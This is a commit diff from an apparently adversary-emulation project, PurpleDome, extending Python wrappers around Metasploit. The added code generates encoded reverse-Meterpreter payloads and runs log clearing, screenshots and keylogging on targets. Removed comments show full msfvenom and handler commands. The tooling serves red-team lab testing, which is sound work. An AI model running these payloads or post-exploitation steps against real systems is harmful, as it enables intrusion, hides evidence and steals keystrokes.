archive
/
PurpleDome
mirror of https://github.com/avast/PurpleDome
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Enhanced metasploit base class with lots of helper functions

Browse Source
pull/9/head
Thorsten Sick 3 years ago
parent adfe027f42
commit 4291529a38
1 changed files with 121 additions and 47 deletions
Show Stats Download Patch File Download Diff File

168
app/metasploit.py
Unescape Escape View File

@ -202,11 +202,14 @@ class Metasploit():
1)
venom = MSFVenom(self.attacker, target, self.attack_logger)
venom.generate_and_deploy(payload=payload_type,
architecture="x64",
architecture="x86",
platform="windows",
lhost=self.attacker.get_ip(),
format="exe",
outfile=payload_name)
outfile=payload_name,
encoder="x86/shikata_ga_nai",
iterations=5
)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {payload_name} replacement - waiting for meterpreter shell{CommandlineColors.ENDC}",
1)
@ -231,69 +234,59 @@ class MSFVenom():
self.target = target
self.attack_logger = attack_logger
def generate_cmd(self, **kwargs):
""" Generates a cmd
def generate_payload(self, **kwargs):
""" Generates a payload on the attacker machine
:return:
"""
payload = kwargs.get("payload", None)
architecture = kwargs.get("architecture", None)
platform = kwargs.get("platform", self.target.get_os())
lhost = kwargs.get("lhost", self.attacker.get_ip())
format = kwargs.get("format", None) # file format
file_format = kwargs.get("format", None) # file format
outfile = kwargs.get("outfile", "payload.exe")
encoder = kwargs.get("encoder", None)
iterations = kwargs.get("iterations", None)
cmd = "msfvenom"
if architecture is not None:
if architecture not in ["x86", "x64"]:
raise MetasploitError(f"MSFVenom wrapper does not support architecture {architecture}")
cmd += f" -a {architecture}"
if platform is not None:
if platform not in ["windows", "linux"]:
raise MetasploitError(f"MSFVenom wrapper does not support platform {platform}")
cmd += f" --platform {platform}"
if payload is not None:
cmd += f" -p {payload}"
if lhost is not None:
cmd += f" LHOST={lhost}"
if format is not None:
cmd += f" -f {format}"
if file_format is not None:
cmd += f" -f {file_format}"
if outfile is not None:
cmd += f" -o {outfile}"
# -p payload linux/x86/meterpreter_reverse_tcp
# -f format: elf, exe, powershell, python
# --platform: linux, windows, osx
# -a arch: x86, x64
# -e encoders: x86/shikata_ga_nai
# -b bad chars to avoid
# -i iterations. encoding iterations
# -o <filename> out filename
# root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
# complex: msfvenom -a x86 --platform linux -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.178.125 -e x86/shikata_ga_nai -i 3 -f elf -o reverse_meterpreter
# verified to work (Linux): msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.178.125 -f elf -o reverse_meterpreter
# Keep in mind: The msfconsole needs to actively listen to the connection:
# msf6 > use exploit/multi/handler
# [*] Using configured payload generic/shell_reverse_tcp
# msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
# payload => linux/x64/meterpreter_reverse_tcp
# msf6 exploit(multi/handler) > set lhost 192.168.178.125
# lhost => 192.168.178.125
# msf6 exploit(multi/handler) > set lport 4444
# lport => 4444
# msf6 exploit(multi/handler) > run
#
# [*] Started reverse TCP handler on 192.168.178.125:4444
# [*] Meterpreter session 1 opened (192.168.178.125:4444 -> 192.168.178.125:42436) at 2021-06-01 03:32:12 -0400
#
# meterpreter > !!! We are in the session now !!!
return cmd
def generate_payload(self, **kwargs):
""" Generates a payload on the attacker machine
"""
cmd = self.generate_cmd(**kwargs)
if encoder is not None:
if encoder not in ["x86/shikata_ga_nai"]:
raise MetasploitError(f"MSFVenom wrapper does not support encoder {encoder}")
cmd += f" -e {encoder}"
if iterations is not None:
cmd += f" -i {iterations}"
# Detecting all the mistakes that already have been made. To be continued
# Check if encoder supports the architecture
if encoder=="x86/shikata_ga_nai" and architecture=="x64":
raise MetasploitError(f"Encoder {encoder} does not support 64 bit architecture")
# Check if payload is for the right amount of bit
if architecture == "x64" and "/x64/" not in payload:
raise MetasploitError(f"Payload {payload} does not support 64 bit architecture")
if architecture == "x86" and "/x64/" in payload:
raise MetasploitError(f"Payload {payload} does not support 32 bit architecture")
# Check if payload is platform
if platform not in payload:
raise MetasploitError(f"Payload {payload} support platform {platform}")
# Footnote: Currently we only support windows/linux and the "boring" payloads. This will be more tricky as soon as we get creative here
self.attacker.remote_run(cmd)
@ -404,7 +397,7 @@ class MetasploitInstant(Metasploit):
if user is not None:
res = [item for item in res if item["User"] == user]
if name is not None:
res = [item for item in res if item["Name"] == name]
res = [item for item in res if item["Name"].lower() == name.lower()]
if arch is not None:
res = [item for item in res if item["Arch"] == arch]
return res
@ -446,6 +439,7 @@ class MetasploitInstant(Metasploit):
filtered_list = self.filter_ps_results(ps, user, name, arch)
if len(filtered_list) == 0:
print(process_list)
raise MetasploitError("Did not find a matching process to migrate to")
# picking random target process
@ -506,3 +500,83 @@ class MetasploitInstant(Metasploit):
metasploit_command=command,
ttp=ttp)
return res
def clearev(self, target):
""" Clears windows event logs """
command = "clearev"
ttp = "T1070.001" # It uses one out of three different ways to elevate privileges.
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
return res
def screengrab(self, target):
""" Creates a screenshot
Before using it, migrate to a process running while you want to monitor.
One with the permission "NT AUTHORITY\SYSTEM"
"""
command = "screengrab"
ttp = "T1113" # It uses one out of three different ways to elevate privileges.
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
res = self.meterpreter_execute_on(["use espia"], target)
print(res)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
return res
def keylogging(self, target, monitoring_time):
""" Starts keylogging
Before using it, migrate to a process running while you want to monitor.
"winlogon.exe" will monitor user logins. "explorer.exe" during the session.
@param monitoring_time: Seconds the keylogger is running
@param monitoring_time: The time to monitor the keys. In seconds
"""
command = "keyscan_start"
ttp = "T1056.001" # It uses one out of three different ways to elevate privileges.
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
res = self.meterpreter_execute_on([command], target)
print(res)
time.sleep(monitoring_time)
res = self.meterpreter_execute_on(["keyscan_dump"], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
return res

Write Preview
Loading…
Cancel
Save